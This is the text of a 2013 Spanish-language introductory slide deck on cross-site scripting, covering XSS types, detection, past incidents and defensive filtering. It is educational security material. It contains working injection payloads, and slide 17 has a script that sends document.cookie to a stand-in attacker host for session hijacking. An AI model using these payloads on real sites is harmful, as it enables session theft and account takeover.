El documento presenta una introducción a los ataques de inyección de código cruzado (XSS). Explica que los ataques XSS ocurren cuando un atacante inyecta código malicioso en una aplicación web vulnerable que luego se ejecuta en el navegador de un usuario. Describe los tres tipos principales de ataques XSS, formas de detectar aplicaciones vulnerables y ejemplos de cómo los atacantes han explotado vulnerabilidades XSS en el pasado. También ofrece consejos sobre cómo prevenir ataques XSS mediante el filtrado a
2. Leganés
6-7 Febrero 2013
Iniciándose en XSS
QUIEN SOY
Roberto García Amoriz: trabajo como Administrador de Sistemas
Informáticos y Redes de Comunicaciones desde hace más de 10 años,
proporcionando soporte a empresas líderes del sector.
Apasionado de la Seguridad Informática, publico regularmente artículos
sobre diversos temas relacionados con la tecnología y la seguridad desde mi
blog www.1gbdeinformacion.com
• Colaborador en Estación Informática y en Security By Default.
• Ponente en los talleres de seguridad en las jornadas X1RedMasSegura.
• Ponente en las 2ª HighsecCON.
2
3. Leganés
6-7 Febrero 2013
Iniciándose en XSS
Índice
1. Introducción
2. Definición de ataques XSS
3. Tipos de ataques XSS
4. Partes de un ataque XSS
5. Detectar aplicación web vulnerable
6. Ejemplos de ataques XSS
7. Soluciones a los ataques XSS
3
4. Leganés
6-7 Febrero 2013
Iniciándose en XSS
¿Qué es XSS?
• Es un ataque de inyección de código malicioso que puede realizarse a sitios web,
aplicaciones locales e incluso al propio navegador.
• Sucede cuando un atacante envía código malicioso a la aplicación web y se coloca
en forma de un hipervínculo para conducir al usuario a otro sitio web…
4
5. Leganés
6-7 Febrero 2013
Iniciándose en XSS
1. Introducción
Cross Site Scripting (XSS)
• Los ataques XSS se pueden perpetrar en cualquier web que permita ejecutar código
de “scripting” como Java Script, Visual Basic Scrip (VBS), Action Script (flash) etc.
• Para llevarlo a cabo es necesario encontrar un punto de entrada, normalmente los
formularios, cuadros de búsqueda etc.
• Estos datos no se validan correctamente en algunas aplicaciones, permitiendo la
ejecución de ese código.
• En un ataque XSS es posible acceder a partes restringidas, recuperar información del
usuario, secuestrar cuentas e incluso modificar el contenido del sitio.
5
6. Leganés
6-7 Febrero 2013
Iniciándose en XSS
2. Definición de ataques XSS
¿En qué consiste?
• Son vulnerabilidades en sitios web que se aprovechan de la falta de sistemas de
filtrado y de validación en los campos de entrada. Estos permiten el envío de scripts
(Java Script, Visual Basic Script etc) para su posterior ejecución.
• Ese código se interpreta en la parte cliente (el navegador) y no en la parte del servidor,
de manera que si se inyecta una parte de código en una pagina web, no se dañaría el
servidor, ya que él no interpreta el código, solo la parte del navegador.
• Este ataque se denomina ataque del lado cliente.
6
7. Leganés
6-7 Febrero 2013
Iniciándose en XSS
2. Definición de ataques XSS
Una página es vulnerable a XSS cuando lo que nosotros enviamos al
servidor (un comentario, un cambio en un perfil, una búsqueda, etc.) se
ve reflejado posteriormente en la página de respuesta.
7
8. Leganés
6-7 Febrero 2013
Iniciándose en XSS
2. Definición de ataques XSS
Riesgos
• Acceso a zonas restringidas.
• Robo de credenciales.
• Modificación del contenido del sitio (defacement).
• Phishing.
• Navegación dirigida.
8
9. Leganés
6-7 Febrero 2013
Iniciándose en XSS
2. Definición de ataques XSS
Recursos utilizados
• Correo web.
• Mensajes en foros.
• Libros de visita.
• Cuadros de búsqueda.
• Formularios de contactos
9
10. Leganés
6-7 Febrero 2013
Iniciándose en XSS
3. Tipos de ataques XSS
• Persistente
• Se produce cuando un atacante consigue inyectar código malicioso en una web que es
vulnerable.
• El código inyectado queda “almacenado” en la base de datos de una web
(formularios) y cuando los usuarios visitan esa web el código se ejecuta.
• Se suele producir en las aplicaciones que permiten a un usuario almacenar algún tipo
de dato.
• Permite tomar el control de navegador de la victima, recoger información, realizar un
defacement, ejecutar exploits basados en navegador, etc.
• Son los ataques XSS más peligrosos.
10
11. Leganés
6-7 Febrero 2013
Iniciándose en XSS
3. Tipos de ataques XSS
• No persistente
• Es un tipo de inyección de código que no se ejecuta con la aplicación web, si no que se
origina cuando la víctima carga una URL en el navegador.
• La URL es modificada en la web para que se obtenga un resultado distinto al esperado.
Vulnerabilidad encontrada por@Dylan_irzi11
11
13. Leganés
6-7 Febrero 2013
Iniciándose en XSS
4. Partes de un ataque XSS
(Visto como el atacante)
• Inyección del código: Identificar que código se puede introducir.
• POC: ¿Qué puedes hacer con el XSS? ¿Robo de credenciales?, ¿defacement?, etc.
• Llevar a cabo el daño. Suplantación de identidad, envío de Spam, etc.
13
14. Leganés
6-7 Febrero 2013
Iniciándose en XSS
Vale, que sí ¿pero como atacan?
• El código se copia entre dos etiquetas HTML: Solo debemos introducir el código Javascript que queremos ejecutar.
<script>alert(“Ataque XSS");</script>
• El código se copia dentro de una etiqueta value de una etiqueta <input>.
<input type=“text" name=“q2” value="[busqueda]" />
Este código queda situado entre comillas dobles de un atributo que pertenece a una etiqueta HTML y no permite que
se ejecute, así que es necesario cerrar la etiqueta HTML e insertar después el código Javascript.
"/><script>alert(“Ataque XSS");</script><div class=“
Quedando de esta manera:
<input type="text" name="q2" value=“busqueda"/>
<script>alert(“Ataque XSS");</script><div class="" />
Al final del código se introduce una etiqueta <div> para evitar la malformación del código HTML.
14
15. Leganés
6-7 Febrero 2013
Iniciándose en XSS
5. Detectar aplicación web vulnerable
• Detectar la vulnerabilidad a través de formulario
Ej: <script>alert(“akil3s”);</script>
15
16. Leganés
6-7 Febrero 2013
Iniciándose en XSS
5. Detectar aplicación web vulnerable
• Detectar la vulnerabilidad a través de URL
Ej: http://tuweb.com/index.html?nombre=<script>alert(“La alerta”);</script>
Alberto Segura. http://elladodelnovato.blogspot.com.es/
16
17. Leganés
6-7 Febrero 2013
Iniciándose en XSS
6. Ejemplos de ataques XSS
Robo de cookies y sesión
• Mediante la propiedad document.cookie podemos sacar la cookie que está usando
el usuario:
<script language="javascript">
alert(“TeRobolaCookie: " + document.cookie);
</script>
• Si conseguimos sacar ese dato fuera y el control de sesión es demasiado simple, se
puede realizar un “session hijacking “o secuestro de sesión.
<script>
document.location.href = "http://robocookie.com/recibir.php?ck="+
document.cookie;
</script>
17
18. Leganés
6-7 Febrero 2013
Iniciándose en XSS
6. Ejemplos de ataques XSS
Los atacantes consiguieron modificar (deface) la imagen del video de bienvenida del
presidente del gobierno por otra imagen, en este caso Mr Bean.
18
19. Leganés
6-7 Febrero 2013
Iniciándose en XSS
Juan Carlos García: http://hackingmadrid.blogspot.com.es/2012/05/hacking-madrideasy-xss-and-cross-site.html
19
20. Leganés
6-7 Febrero 2013
Iniciándose en XSS
6. Ejemplos de ataques XSS
El atacante mediante el uso de Java Script conseguía la cookie de usuario, logrando
redireccionar su contenido a un servidor web controlado, lo que permitía al atacante
acceder a los mensajes privados, agregar nuevas aplicaciones sin ser autorizado, ver la
lista de contactos, las imágenes privadas de la víctima, etc.
20
21. Leganés
6-7 Febrero 2013
Iniciándose en XSS
6. Ejemplos de ataques XSS
Los atacantes consiguieron atacar Youtube inyectando código desde el área de comentarios.
Consiguieron forzar mensajes pop-up para que apareciesen en la pagina y redireccionaron a
los visitantes a paginas que contenían malware.
21
22. Leganés
6-7 Febrero 2013
Iniciándose en XSS
6. Ejemplos de ataques XSS
Cuando se crea una lista nueva de contactos en Twitter, si el nombre de la lista
lo cambiamos por código de scripting, este se valida en la web.
Alberto Segura: http://elladodelnovato.blogspot.com.es/2013/01/vulnerabilidad-xss-en-twitter.html
22
24. Leganés
6-7 Febrero 2013
Iniciándose en XSS
7. Soluciones a los ataques XSS
Al diseñar las aplicaciones
• Se debe verificar siempre que el tipo de datos y la longitud de los campos se
correspondan con lo esperado. Hay que filtrar los caracteres que puedan resultar
dañinos.
• Las aplicaciones web deben programarse filtrando determinados comandos
como: script, form, applet, object , embed, marquee, img src...
• Cuando se detecten posibles ataques enviar mensajes de alerta intimidatorios.
24
25. Leganés
6-7 Febrero 2013
Iniciándose en XSS
7. Soluciones a los ataques XSS
Usar las ultimas versiones de los navegadores
• Desde la versión de Internet Explorer 8 si intentas acceder a una página web que
ha sufrido un ataque XSS, aparece un mensaje avisando de que la web ha sido
modificada.
• Esto es debido a que el filtro Anti XSS de IE detecta la manipulación de la pagina
a través de la inyección de código en un parámetro.
* Por esto, es muy recomendable tener siempre actualizado todo el software de tu
equipo.
25
26. Leganés
6-7 Febrero 2013
Iniciándose en XSS
7. Soluciones a los ataques XSS
• Los usuarios también pueden protegerse contra los ataques XSS configurando los
navegadores para impedir que se ejecuten lenguajes de scripting (NoScript). Esto no
dará una solución óptima para el usuario porque hay paginas que no funcionan
correctamente si se prohíbe la ejecución de código dinámico.
• Una solución mas viable para impedir ataques XSS pasa por diseñar una pagina web
“sin vulnerabilidades”, para ello el diseñador debe:
Verificar el formato de los datos que van a poder introducir los usuarios.
Codificar los datos visibles al usuario reemplazando los caracteres especiales.
Revisar las cookies.
El código introducido no puede ser superior a X caracteres.
Al terminar una pagina web, contratar los servicios de un auditor de seguridad para
que haga una prueba antes de poner la web en producción.
26
27. Leganés
6-7 Febrero 2013
Iniciándose en XSS
7. Soluciones a los ataques XSS
• Ejemplo practico.
Vamos a ver como disminuir los problemas generados por los ataques XSS.
27
28. Leganés
6-7 Febrero 2013
Iniciándose en XSS
• En el ejemplo anterior vemos como filtramos los datos que el usuario puede enviar al
site. En la primera línea vemos que se están omitiendo los espacios.
• En la segunda línea estamos evitando problemas con la codificación Unicode.
• En las siguientes líneas estamos omitiendo los caracteres.
28
29. Leganés
6-7 Febrero 2013
Iniciándose en XSS
• XSS en hexadecimal
Con lo que hemos visto anteriormente, podríamos parar los pies a los ScriptKiddies,
pero, ¿que pasaría si nos encontramos con alguien con mas experiencia?
Alguien como el de la foto, que ya se las sabe todas, podría hacer
algo como esto:
Aquí habría un cambio del código, de ASCII a Hexadecimal en una
petición GET.
El navegador lo interpretaría de la siguiente manera.
Jose Selvi pentester.es
29
30. Leganés
6-7 Febrero 2013
Iniciándose en XSS
• Por eso en la tercera imagen lo habíamos evitado omitiendo los caracteres # y % ya
que directamente los convierte a UTF-8.
• Al contrario de lo que muchos piensan, un sitio web que utilice SSL (HTTPS) no esta más
protegido que uno que no esté cifrado. Las aplicaciones web funcionan de la misma
manera, excepto que el ataque se lleva a cabo en una conexión cifrada.
30
32. Leganés
6-7 Febrero 2013
Iniciándose en XSS
• Todos los servidores web, servidores de aplicaciones y entornos de
aplicaciones web son susceptibles de un ataque XSS.
• Los sitios que han sufrido (o tienen) ataques XSS también pueden tener
ataques de fuerza bruta o de denegación del servicio (DOS).
• No confiar nunca en los datos introducidos por los usuarios, debemos
tratarlos todos como “potencialmente peligrosos”.
• Para terminar, comentar que hay frameworks como Symphony o CakePHP que
ya se encargan de implementar este tipo de seguridad, como también lo hacen
ciertos gestores de contenidos.
• También hay Add-ons para Firefox como XSS Me o Domsnitch para Chrome que
ayudan a paliar los problemas con ataques XSS en el proceso de desarrollo web.
32
34. Leganés
6-7 Febrero 2013
Iniciándose en XSS
Pedro Candel @NN2ed_s4ur0n
Victor Calvo @aetsu
Juan Carlos García @secnight
Daniel Garcia @ggdaniel
Yago Jesús @YJesus
Alberto segura @alberto__segura
Guille @guilleSec
Email: info@1gbdeinformacion.com
Blog: www.1gbdeinformacion.com
Twitter: @1Gbdeinfo
34